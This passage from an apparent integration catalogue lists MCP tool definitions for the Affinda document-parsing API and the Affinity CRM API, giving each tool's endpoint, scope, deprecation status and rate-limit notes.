(`deprecated: true`); live today, no end-of-life date published. Get list of all document splitters -- Returns all the document splitters visible to the user. GET /api/v1/affinda/v3/document_splitters. Scopes: api. affinda_get_v3_document_splitters_by_identifier (read) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Get specific document splitter -- Return a specific document splitter. GET /api/v1/affinda/v3/document_splitters/{identifier}. Scopes: api. affinda_get_v3_document_types (read) — List document types -- Returns a list of document types that the user has access to. GET /api/v1/affinda/v3/document_types. Scopes: api. affinda_get_v3_document_types_by_identifier (read) — Get a document type -- Returns the details of a specific document type. GET /api/v1/affinda/v3/document_types/{identifier}. Scopes: api. affinda_get_v3_document_types_by_identifier_json_schema (read) — Generate JSON schema from a document type -- Generate JSON schema from a document type. GET /api/v1/affinda/v3/document_types/{identifier}/json_schema. Scopes: api. affinda_get_v3_document_types_by_identifier_pydantic_models (read) — Generate Pydantic models from a document type -- Generate Pydantic models from a document type. GET /api/v1/affinda/v3/document_types/{identifier}/pydantic_models. Scopes: api. affinda_get_v3_documents (read) — Get list of all documents -- Returns all the document summaries for that user, limited to 300 per page. GET /api/v1/affinda/v3/documents. Scopes: api. affinda_get_v3_documents_by_identifier (read) — Get specific document -- Return a specific document. This is the POLL endpoint for an upload sent with `wait: false`: re-read it until `meta.ready` is true, or until `meta.failed` is true, which is terminal and carries `meta.errorCode` / `meta.errorDetail`. GET /api/v1/affinda/v3/documents/{identifier}. Scopes: api. affinda_get_v3_extractors (read) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Get list of all extractors -- Returns your custom extractors as well as Affinda's off-the-shelf extractors. GET /api/v1/affinda/v3/extractors. Scopes: api. affinda_get_v3_extractors_by_identifier (read) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Get specific extractor -- Return a specific extractor. GET /api/v1/affinda/v3/extractors/{identifier}. Scopes: api. affinda_get_v3_index (read) — Get list of all indexes -- Returns all the indexes GET /api/v1/affinda/v3/index. Scopes: api. affinda_get_v3_index_by_name_documents (read) — Get indexed documents for a specific index -- Returns all the indexed documents for that index GET /api/v1/affinda/v3/index/{name}/documents. Scopes: api. affinda_get_v3_invitations (read) — Get list of all invitations -- Get list of all invitations you created or sent to you. GET /api/v1/affinda/v3/invitations. Scopes: api. affinda_get_v3_invitations_by_identifier (read) — Get detail of an invitation -- Get detail of an invitation. GET /api/v1/affinda/v3/invitations/{identifier}. Scopes: api. affinda_get_v3_invitations_token_by_token (read) — Get detail of an invitation by token -- Get detail of an invitation using a secret token. This allows users who have not registered/logged in to view the invitation. GET /api/v1/affinda/v3/invitations/token/{token}. Scopes: api. affinda_get_v3_job_description_search_config (read) — Get the config for the logged in user's embeddable job description search tool -- Return configurations such as which fields can be displayed in the logged in user's embeddable job description search tool, what are their… GET /api/v1/affinda/v3/job_description_search/config. Scopes: api. affinda_get_v3_mapping_data_sources (read) — List data sources -- Returns the list of all custom mapping data sources. GET /api/v1/affinda/v3/mapping_data_sources. Scopes: api. affinda_get_v3_mapping_data_sources_by_identifier (read) — Get specific data source -- Return a specific mapping data source. GET /api/v1/affinda/v3/mapping_data_sources/{identifier}. Scopes: api. affinda_get_v3_mapping_data_sources_by_identifier_values (read) — List values for a data source -- Returns the list of all values in a mapping data source GET /api/v1/affinda/v3/mapping_data_sources/{identifier}/values. Scopes: api. affinda_get_v3_mapping_data_sources_by_identifier_values_by_value (read) — Get specific data source value -- Return a specific mapping dta source value. GET /api/v1/affinda/v3/mapping_data_sources/{identifier}/values/{value}. Scopes: api. affinda_get_v3_mappings (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. List mappings -- Returns the list of all custom data mappings. GET /api/v1/affinda/v3/mappings. Scopes: api. affinda_get_v3_mappings_by_identifier (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get specific mapping -- Return a specific mapping. GET /api/v1/affinda/v3/mappings/{identifier}. Scopes: api. affinda_get_v3_occupation_groups (read) — List occupation groups -- Returns the list of searchable occupation groups. GET /api/v1/affinda/v3/occupation_groups. Scopes: api. affinda_get_v3_organization_memberships (read) — Get list of all organization memberships -- Returns all the organization memberships GET /api/v1/affinda/v3/organization_memberships. Scopes: api. affinda_get_v3_organization_memberships_by_identifier (read) — Get detail of an organization membership -- Get detail of an organization membership. GET /api/v1/affinda/v3/organization_memberships/{identifier}. Scopes: api. affinda_get_v3_organizations (read) — Get list of all organizations -- Returns all the organizations GET /api/v1/affinda/v3/organizations. Scopes: api. affinda_get_v3_organizations_by_identifier (read) — Get detail of an organization -- Get detail of an organization. GET /api/v1/affinda/v3/organizations/{identifier}. Scopes: api. affinda_get_v3_resthook_results (read) — Get list of webhook delivery results for a document -- Returns the webhook (resthook) delivery results recorded for a document. GET /api/v1/affinda/v3/resthook_results. Scopes: api. affinda_get_v3_resthook_subscriptions (read) — Get list of all resthook subscriptions -- Returns your resthook subscriptions. GET /api/v1/affinda/v3/resthook_subscriptions. Scopes: api. affinda_get_v3_resthook_subscriptions_by_id (read) — Get specific resthook subscription -- Return a specific resthook subscription. GET /api/v1/affinda/v3/resthook_subscriptions/{id}. Scopes: api. affinda_get_v3_resume_search_config (read) — Get the config for the logged in user's embeddable resume search tool -- Return configurations such as which fields can be displayed in the logged in user's embeddable resume search tool, what are their weights, what is… GET /api/v1/affinda/v3/resume_search/config. Scopes: api. affinda_get_v3_resume_search_match (read) — Match a single resume and job description -- Get the matching score between a resume and a job description. The score ranges between 0 and 1, with 0 being not a match at all, and 1 being perfect match. GET /api/v1/affinda/v3/resume_search/match. Scopes: api. affinda_get_v3_resume_search_suggestion_job_title (read) — Get job title suggestions based on provided job title(s) -- Provided one or more job titles, get related suggestions for your search. GET /api/v1/affinda/v3/resume_search/suggestion_job_title. Scopes: api. affinda_get_v3_resume_search_suggestion_skill (read) — Get skill suggestions based on provided skill(s) -- Provided one or more skills, get related suggestions for your search. GET /api/v1/affinda/v3/resume_search/suggestion_skill. Scopes: api. affinda_get_v3_tags (read) — Get list of all tags -- Returns your tags. GET /api/v1/affinda/v3/tags. Scopes: api. affinda_get_v3_tags_by_id (read) — Get specific tag -- Return a specific tag. GET /api/v1/affinda/v3/tags/{id}. Scopes: api. affinda_get_v3_usage (read) — Get usage -- Returns daily credits consumption for an organization over a date range. GET /api/v1/affinda/v3/usage. Scopes: api. affinda_get_v3_validation_results (read) — Get list of all validation results -- Returns the validation results of a document. GET /api/v1/affinda/v3/validation_results. Scopes: api. affinda_get_v3_validation_results_by_id (read) — Get specific validation result -- Return a specific validation result. GET /api/v1/affinda/v3/validation_results/{id}. Scopes: api. affinda_get_v3_workspace_memberships (read) — Get list of all workspace memberships -- Returns the memberships of your workspaces. GET /api/v1/affinda/v3/workspace_memberships. Scopes: api. affinda_get_v3_workspace_memberships_by_identifier (read) — Get specific workspace membership -- Return a specific workspace membership. GET /api/v1/affinda/v3/workspace_memberships/{identifier}. Scopes: api. affinda_get_v3_workspaces (read) — Get list of all workspaces -- Returns your workspaces. GET /api/v1/affinda/v3/workspaces. Scopes: api. affinda_get_v3_workspaces_by_identifier (read) — Get specific workspace -- Return a specific workspace. GET /api/v1/affinda/v3/workspaces/{identifier}. Scopes: api. affinda_get_v3_workspaces_by_identifier_usage (read) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Get usage by workspace -- Return monthly credits consumption of a workspace. Deprecated: use `GET /v3/usage?organization={id}&workspace={id}` instead. GET /api/v1/affinda/v3/workspaces/{identifier}/usage. Scopes: api. affinda_patch_v3_annotations_by_id (write) — Update an annotation -- Update data of an annotation. PATCH /api/v1/affinda/v3/annotations/{id}. Scopes: api. affinda_patch_v3_api_users_by_id (write) — DEPRECATED by Affinda ("Deprecated End Points" tag); live today, no end-of-life date published. Update an API user -- Update data of an API user. PATCH /api/v1/affinda/v3/api_users/{id}. Scopes: api. affinda_patch_v3_collections_by_identifier (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Update a collection -- Update data of a collection. PATCH /api/v1/affinda/v3/collections/{identifier}. Scopes: api. affinda_patch_v3_collections_by_identifier_fields_by_datapoint_identifier (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Update data field for a collection assosciated with a data point. -- Update data field for a collection assosciated with a data point PATCH /api/v1/affinda/v3/collections/{identifier}/fields/{datapoint_identifier}. Scopes: api. affinda_patch_v3_data_point_choices_by_id (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Update a data point choice -- Update data of a data point choice. PATCH /api/v1/affinda/v3/data_point_choices/{id}. Scopes: api. affinda_patch_v3_data_points_by_identifier (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Update a data point -- Update data of a data point. PATCH /api/v1/affinda/v3/data_points/{identifier}. Scopes: api. affinda_patch_v3_document_types_by_identifier (write) — Update a document type -- Update an existing document type. PATCH /api/v1/affinda/v3/document_types/{identifier}. Scopes: api. affinda_patch_v3_documents_by_identifier (write) — Update a document -- Update file name, expiry time, or move to another collection, etc. PATCH /api/v1/affinda/v3/documents/{identifier}. Scopes: api. affinda_patch_v3_extractors_by_identifier (write) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Update an extractor -- Update data of an extractor. PATCH /api/v1/affinda/v3/extractors/{identifier}. Scopes: api. affinda_patch_v3_index_by_name (write) — Update an index -- Updates the specified index PATCH /api/v1/affinda/v3/index/{name}. Scopes: api. affinda_patch_v3_invitations_by_identifier (write) — Update an invitation -- Update the detail of an invitation. PATCH /api/v1/affinda/v3/invitations/{identifier}. Scopes: api. affinda_patch_v3_invitations_token_by_token (write) — Respond to an invitation -- Choose to accept or decline an invitation. PATCH /api/v1/affinda/v3/invitations/token/{token}. Scopes: api. affinda_patch_v3_job_description_search_config (write) — Update the config for the logged in user's embeddable job description search tool -- Update configurations such as which fields can be displayed in the logged in user's embeddable job description search tool, what are… PATCH /api/v1/affinda/v3/job_description_search/config. Scopes: api. affinda_patch_v3_mappings_by_identifier (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Update specific mapping -- Updates a specific mapping. PATCH /api/v1/affinda/v3/mappings/{identifier}. Scopes: api. affinda_patch_v3_organization_memberships_by_identifier (write) — Update an organization membership -- The admin users can use this endpoint to update the role of the members within their organization. PATCH /api/v1/affinda/v3/organization_memberships/{identifier}. Scopes: api. affinda_patch_v3_organizations_by_identifier (write) — Update an organization -- Update the detail of an organization. NOTE: the `avatar` upload field is NOT available through this tool -- unbounded bytes never enter a tool argument. Set it in the Affinda web app. PATCH /api/v1/affinda/v3/organizations/{identifier}. Scopes: api. affinda_patch_v3_resthook_subscriptions_by_id (write) — Update a resthook subscription -- Update data of a resthook subscription. PATCH /api/v1/affinda/v3/resthook_subscriptions/{id}. Scopes: api. affinda_patch_v3_resume_search_config (write) — Update the config for the logged in user's embeddable resume search tool -- Update configurations such as which fields can be displayed in the logged in user's embeddable resume search tool, what are their weights, what… PATCH /api/v1/affinda/v3/resume_search/config. Scopes: api. affinda_patch_v3_tags_by_id (write) — Update a tag -- Update data of an tag. PATCH /api/v1/affinda/v3/tags/{id}. Scopes: api. affinda_patch_v3_validation_results_by_id (write) — Update a validation result -- Update a validation result. PATCH /api/v1/affinda/v3/validation_results/{id}. Scopes: api. affinda_patch_v3_workspaces_by_identifier (write) — Update a workspace -- Update a workspace. PATCH /api/v1/affinda/v3/workspaces/{identifier}. Scopes: api. affinda_post_v3_annotations (write) — Create a annotation POST /api/v1/affinda/v3/annotations. Scopes: api. affinda_post_v3_annotations_batch_create (write) — Batch create annotations POST /api/v1/affinda/v3/annotations/batch_create. Scopes: api. affinda_post_v3_annotations_batch_delete (write) — Batch delete annotations POST /api/v1/affinda/v3/annotations/batch_delete. Scopes: api. affinda_post_v3_annotations_batch_update (write) — Batch update annotations POST /api/v1/affinda/v3/annotations/batch_update. Scopes: api. affinda_post_v3_api_users (write) — DEPRECATED by Affinda ("Deprecated End Points" tag); live today, no end-of-life date published. Create an API user POST /api/v1/affinda/v3/api_users. Scopes: api. affinda_post_v3_api_users_by_id_regenerate_api_key (write) — DEPRECATED by Affinda ("Deprecated End Points" tag); live today, no end-of-life date published. Regenerate API key for an API user -- Regenerate API key for an API user. POST /api/v1/affinda/v3/api_users/{id}/regenerate_api_key. Scopes: api. affinda_post_v3_collections (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Create a collection POST /api/v1/affinda/v3/collections. Scopes: api. affinda_post_v3_collections_by_identifier_create_data_field (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Create data field for a collection along with a new data point. POST /api/v1/affinda/v3/collections/{identifier}/create_data_field. Scopes: api. affinda_post_v3_data_point_choices (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Create a data point choice -- Create a custom data point choice. POST /api/v1/affinda/v3/data_point_choices. Scopes: api. affinda_post_v3_data_point_choices_replace (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Replace choices of a data point -- Replace choices of a data point. Existing choices and incoming choices are matched base on their `value`. POST /api/v1/affinda/v3/data_point_choices/replace. Scopes: api. affinda_post_v3_data_points (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Create a data point -- Create a custom data point. POST /api/v1/affinda/v3/data_points. Scopes: api. affinda_post_v3_document_types (write) — Create a document type -- Create a new document type in the specified organization. POST /api/v1/affinda/v3/document_types. Scopes: api. affinda_post_v3_documents (write) — Upload a document for parsing -- Uploads a document for parsing via file upload or URL. NOTE: the `file` upload field is NOT available through this tool -- unbounded bytes never enter a tool argument. Supply `url` instead (Affinda downloads the document itself), or use affinda_post_v3_documents_create_from_data for structured data. ASYNCHRONOUS: `wait` defaults to true, which holds the request open until parsing completes and will time out on a large document. Send `wait: false` to get an `identifier` back immediately, then poll affinda_get_v3_documents_by_identifier until `meta.ready` is true; `meta.failed` with `meta.errorCode` / `meta.errorDetail` is the failure end state. POST /api/v1/affinda/v3/documents. Scopes: api. affinda_post_v3_documents_batch_add_tag (write) — Add a tag to documents -- Add a tag to documents. Tags are used to group documents together. Tags can be used to filter documents. POST /api/v1/affinda/v3/documents/batch_add_tag. Scopes: api. affinda_post_v3_documents_batch_remove_tag (write) — Remove a tag from documents -- Remove a tag from documents. POST /api/v1/affinda/v3/documents/batch_remove_tag. Scopes: api. affinda_post_v3_documents_by_identifier_update_data (write) — Update a document's data -- Update data of a document. Only applicable for resumes and job descriptions. POST /api/v1/affinda/v3/documents/{identifier}/update_data. Scopes: api. affinda_post_v3_documents_create_from_data (write) — Create a document from raw data -- Creates a document directly from structured resume or job description data for use in Search & Match functionality. SYNCHRONOUS, unlike the file/URL upload: this operation parses nothing, so it takes no `wait` argument and returns the created document directly. Use affinda_post_v3_documents when you have a file or a URL to parse. POST /api/v1/affinda/v3/documents/create_from_data. Scopes: api. affinda_post_v3_extractors (write) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Create an extractor -- Create a custom extractor. POST /api/v1/affinda/v3/extractors. Scopes: api. affinda_post_v3_index (write) — Create a new index -- Create an index for the search tool POST /api/v1/affinda/v3/index. Scopes: api. affinda_post_v3_index_by_name_documents (write) — Index a new document -- Create an indexed document for the search tool POST /api/v1/affinda/v3/index/{name}/documents. Scopes: api. affinda_post_v3_index_by_name_documents_by_identifier_re_index (write) — Re-index a document -- Re-index a document. This is relevant if you updated the document's data via the /annotations endpoint, and want to refresh the document's data in the search index. POST /api/v1/affinda/v3/index/{name}/documents/{identifier}/re_index. Scopes: api. affinda_post_v3_invitations (write) — Create a new invitation -- Create a new invitation. POST /api/v1/affinda/v3/invitations. Scopes: api. affinda_post_v3_job_description_search (write) — Search through parsed job descriptions -- Searches through parsed job descriptions. You can search with custom criterias or a resume. POST /api/v1/affinda/v3/job_description_search. Scopes: api. affinda_post_v3_job_description_search_details_by_identifier (write) — Get search result of specific job description -- This contains more detailed information about the matching score of the search criteria, or which search criteria is missing in this job description. POST /api/v1/affinda/v3/job_description_search/details/{identifier}. Scopes: api. affinda_post_v3_job_description_search_embed (write) — Create a signed URL for the embeddable job description search tool -- Create and return a signed URL of the job description search tool which then can be embedded on a web page. POST /api/v1/affinda/v3/job_description_search/embed. Scopes: api. affinda_post_v3_mapping_data_sources (write) — Create a data source -- Create a custom mapping data source. POST /api/v1/affinda/v3/mapping_data_sources. Scopes: api. affinda_post_v3_mapping_data_sources_by_identifier_values (write) — Add value for a data source -- Adds a value to a mapping data source POST /api/v1/affinda/v3/mapping_data_sources/{identifier}/values. Scopes: api. affinda_post_v3_mappings (write) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Create a mapping -- Create a custom mapping. POST /api/v1/affinda/v3/mappings. Scopes: api. affinda_post_v3_organizations (write) — Create a new organization -- Create a new organization. NOTE: the `avatar` upload field is NOT available through this tool -- unbounded bytes never enter a tool argument. Set it in the Affinda web app. POST /api/v1/affinda/v3/organizations. Scopes: api. affinda_post_v3_resthook_results_resend (write) — Re-trigger webhooks for a document -- Replays an event for a document, re-firing it to every matching v3 webhook subscription (including ones that are currently inactive). POST /api/v1/affinda/v3/resthook_results/resend. Scopes: api. affinda_post_v3_resthook_subscriptions (write) — Create a resthook subscription -- After a subscription is successfully created, we'll send a POST request to your target URL with a `X-Hook-Secret` header. POST /api/v1/affinda/v3/resthook_subscriptions. Scopes: api. affinda_post_v3_resthook_subscriptions_activate (write) — Activate a resthook subscription -- After creating a subscription, we'll send a POST request to your target URL with a `X-Hook-Secret` header. POST /api/v1/affinda/v3/resthook_subscriptions/activate. Scopes: api. affinda_post_v3_resume_search (write) — Search through parsed resumes -- Searches through parsed resumes. Users have 3 options to create a search: 1. Match to a job description - a parsed job description is used to find candidates that suit it 2. POST /api/v1/affinda/v3/resume_search. Scopes: api. affinda_post_v3_resume_search_details_by_identifier (write) — Get search result of specific resume -- This contains more detailed information about the matching score of the search criteria, or which search criteria is missing in this resume. POST /api/v1/affinda/v3/resume_search/details/{identifier}. Scopes: api. affinda_post_v3_resume_search_embed (write) — Create a signed URL for the embeddable resume search tool -- Create and return a signed URL of the resume search tool which then can be embedded on a web page. POST /api/v1/affinda/v3/resume_search/embed. Scopes: api. affinda_post_v3_tags (write) — Create a tag POST /api/v1/affinda/v3/tags. Scopes: api. affinda_post_v3_validate_by_identifier_split (write) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Split pages of a document -- Split / merge / rotate / delete pages of a document. Documents with multiple pages can be splitted into multiple documents, or merged into one document. Each page can also be rotated. POST /api/v1/affinda/v3/validate/{identifier}/split. Scopes: api. affinda_post_v3_validation_results (write) — Create a validation result -- Create a validation result. POST /api/v1/affinda/v3/validation_results. Scopes: api. affinda_post_v3_validation_results_batch_create (write) — Batch create validation results -- Batch create validation results. POST /api/v1/affinda/v3/validation_results/batch_create. Scopes: api. affinda_post_v3_validation_results_batch_delete (write) — Batch delete validation results POST /api/v1/affinda/v3/validation_results/batch_delete. Scopes: api. affinda_post_v3_workspace_memberships (write) — Create a workspace membership -- Create a workspace membership. POST /api/v1/affinda/v3/workspace_memberships. Scopes: api. affinda_post_v3_workspaces (write) — Create a workspace POST /api/v1/affinda/v3/workspaces. Scopes: api. affinda_put_v3_mapping_data_sources_by_identifier_values (write) — Replace values for a data source -- Replaces the list of all values in a mapping data source Note: For large data sources (e.g. PUT /api/v1/affinda/v3/mapping_data_sources/{identifier}/values. Scopes: api. affinda_put_v3_mapping_data_sources_by_identifier_values_by_value (write) — Update specific data source value -- Update the specified mapping data source value. PUT /api/v1/affinda/v3/mapping_data_sources/{identifier}/values/{value}. Scopes: api. ================================================================================ ## Affinity URL: https://www.agenticfabriq.com/integrations/affinity Section: Integrated Tools Affinity — 104 MCP tools Provider key: affinity. Scopes: api, api.read. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. affinity_delete_v2_lists_by_listid_fields_by_fieldid_dropdown_options_by_dropdownoptionid (write, destructive) — Delete a dropdown option for a List Field via DELETE /v2/lists/{listId}/fields/{fieldId}/dropdown-options/{dropdownOptionId}. Delete a dropdown option for a List Field. **Warning:** This permanently removes the option and clears every field value currently set to it across all List Entries. The cleared values cannot be recovered. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. DELETE /api/v1/affinity/v2/lists/{listId}/fields/{fieldId}/dropdown-options/{dropdownOptionId}. Scopes: api. affinity_delete_v2_notes_by_noteid (write, destructive) — Delete a single Note via DELETE /v2/notes/{noteId}. Delete a note. You can only delete notes you created. Deleting a root note also deletes its replies (both user replies and AI Notetaker replies); deleting a reply removes only that reply. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. DELETE /api/v1/affinity/v2/notes/{noteId}. Scopes: api. affinity_delete_v2_persons_by_personid (write, destructive) — Delete a Person via DELETE /v2/persons/{personId}. This endpoint is currently in BETA. Deletes a Person. Returns a 403 error if the Person is internal or inferred internal, since those Persons cannot be deleted. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. DELETE /api/v1/affinity/v2/persons/{personId}. Scopes: api. affinity_delete_v2_reminders_by_reminderid (write, destructive) — Delete a Reminder via DELETE /v2/reminders/{reminderId}. | ⚠️ This endpoint is currently in BETA | |--| Deletes a Reminder. Only the reminder's creator or owner may delete it. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. DELETE /api/v1/affinity/v2/reminders/{reminderId}. Scopes: api. affinity_delete_v2_webhooks_by_webhookid (write, destructive) — Delete a Webhook via DELETE /v2/webhooks/{webhookId}. | ⚠️ This endpoint is currently in BETA | |--| Deletes a Webhook. Only the webhook's creator, or a user allowed to manage all webhooks, may delete it. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. DELETE /api/v1/affinity/v2/webhooks/{webhookId}. Scopes: api. affinity_get_v2_auth_whoami (read) — Get current user via GET /v2/auth/whoami. Returns information about the authenticated user, their current organization, and API key permissions. Use this endpoint to verify your authentication and understand your available API access levels. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/auth/whoami. Scopes: api.read. affinity_get_v2_calls (read) — Get metadata on all Calls via GET /v2/calls. Paginate through all calls in Affinity. Returns basic information about the call interaction and its participants. Will only return calls that the current authenticated user has permission to see. You can filter calls using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int64` | `=` | `id=1\|id=2\|id=3` | | `startTime` | `datetime` | `>`, `<`, `>=`, `<=` | `sentAt>2025-01-01T01:00:00Z` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-01-01T01:00:00Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-01-01T01:00:00Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/calls. Scopes: api.read. affinity_get_v2_chat_messages (read) — Get metadata on all Chat Messages via GET /v2/chat-messages. Paginate through all chat messages in Affinity. Returns basic information about the chat message interaction and its participants. Will only return chat messages that the current authenticated user has permission to see. You can filter chat messages using the `filter` query parameter. The filter parameter is a string that you can specify conditions based on the following properties. | **Property Name** | **Type** | **Allowed Operators** | **Examples** | |---|---|---|---| | `id` | `int64` | `=` | `id=1\|id=2\|id=3` | | `sentAt` | `datetime` | `>`, `<`, `>=`, `<=` | `sentAt>2025-01-01T01:00:00Z` | | `createdAt` | `datetime` | `>`, `<`, `>=`, `<=` | `createdAt<2025-01-01T01:00:00Z` | | `updatedAt` | `datetime` | `>`, `<`, `>=`, `<=` | `updatedAt>=2025-01-01T01:00:00Z` | Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/chat-messages. Scopes: api.read. affinity_get_v2_companies (read) — Get all Companies via GET /v2/companies. Paginate through Companies in Affinity. Returns basic information and non-list-specific field data on each Company. To retrieve field data, you must use either the `fieldIds` or the `fieldTypes` parameter to specify the Fields for which you want data returned. These Field IDs and Types can be found using the GET `/v2/companies/fields` endpoint. When no `fieldIds` or `fieldTypes` are provided, Companies will be returned without any field data attached. To supply multiple `fieldIds` or `fieldTypes` parameters, generate a query string that looks like this: `?fieldIds=field-1234&fieldIds=affinity-data-location` or `?fieldTypes=enriched&fieldTypes=global`. Requires the "Export All Organizations directory" [permission](/pages/external-api-v2/permissions). Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies. Scopes: api.read. affinity_get_v2_companies_by_companyid (read) — Get a single Company via GET /v2/companies/{companyId}. Returns basic information and non-list-specific field data on the requested Company. To retrieve field data, you must use either the `fieldIds` or the `fieldTypes` parameter to specify the Fields for which you want data returned. These Field IDs and Types can be found using the GET `/v2/companies/fields` endpoint. When no `fieldIds` or `fieldTypes` are provided, Companies will be returned without any field data attached. To supply multiple `fieldIds` or `fieldTypes` parameters, generate a query string that looks like this: `?fieldIds=field-1234&fieldIds=affinity-data-location` or `?fieldTypes=enriched&fieldTypes=global`. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}. Scopes: api.read. affinity_get_v2_companies_by_companyid_fields (read) — Get field values on a single Company via GET /v2/companies/{companyId}/fields. | ⚠️ This endpoint is currently in BETA | |--| Paginate through field values on a single company. Enriched, global, and relationship-intelligence fields will be included by default. The `ids` and `types` parameters can be used to filter the collection. These parameters are mutually exclusive. List fields are not returned by this endpoint. To retrieve or update list field values, use the [list entry fields](/api-reference/lists/get-field-values-on-a-single-list-entry) endpoints. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}/fields. Scopes: api.read. affinity_get_v2_companies_by_companyid_fields_by_fieldid (read) — Get a single field value on a Company via GET /v2/companies/{companyId}/fields/{fieldId}. | ⚠️ This endpoint is currently in BETA | |--| Retrieve a single field on a company. Returns basic information and the field value. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}/fields/{fieldId}. Scopes: api.read. affinity_get_v2_companies_by_companyid_fields_by_fieldid_values (read) — Get values for a single field on a Company via GET /v2/companies/{companyId}/fields/{fieldId}/values. | ⚠️ This endpoint is currently in BETA | |--| Paginate through all values for a field on a company. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}/fields/{fieldId}/values. Scopes: api.read. affinity_get_v2_companies_by_companyid_list_entries (read) — Get a Company's List Entries via GET /v2/companies/{companyId}/list-entries. Paginate through the List Entries (AKA rows) for the given Company across all Lists. Each List Entry includes field data for the Company, including list-specific field data. Each List Entry also includes metadata about its creation, i.e., when it was added to the List and by whom. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}/list-entries. Scopes: api.read. affinity_get_v2_companies_by_companyid_lists (read) — Get a Company's Lists via GET /v2/companies/{companyId}/lists. Paginate through all Lists where the given Company appears as an entry and that you have access to view. Returns basic List information for each List that contains this Company. Affinity allows 900 requests per user per minute and caps the account's monthly total by plan tier (Scale and Advanced 100k, Enterprise unlimited, Essentials no API access at all); v1 and v2 calls count against the same pool. A 429 is the budget, never the credential. GET /api/v1/affinity/v2/companies/{companyId}/lists. Scopes: api.read. affinity_get_v2_companies_by_companyid_notes (read) — Get Notes for a Company via GET /v2/companies/{companyId}/notes. Returns relevant notes for a given company which includes directly attached notes and notes attached to persons on this company. You can filter notes using the `filter` query parameter. The filter parameter is a 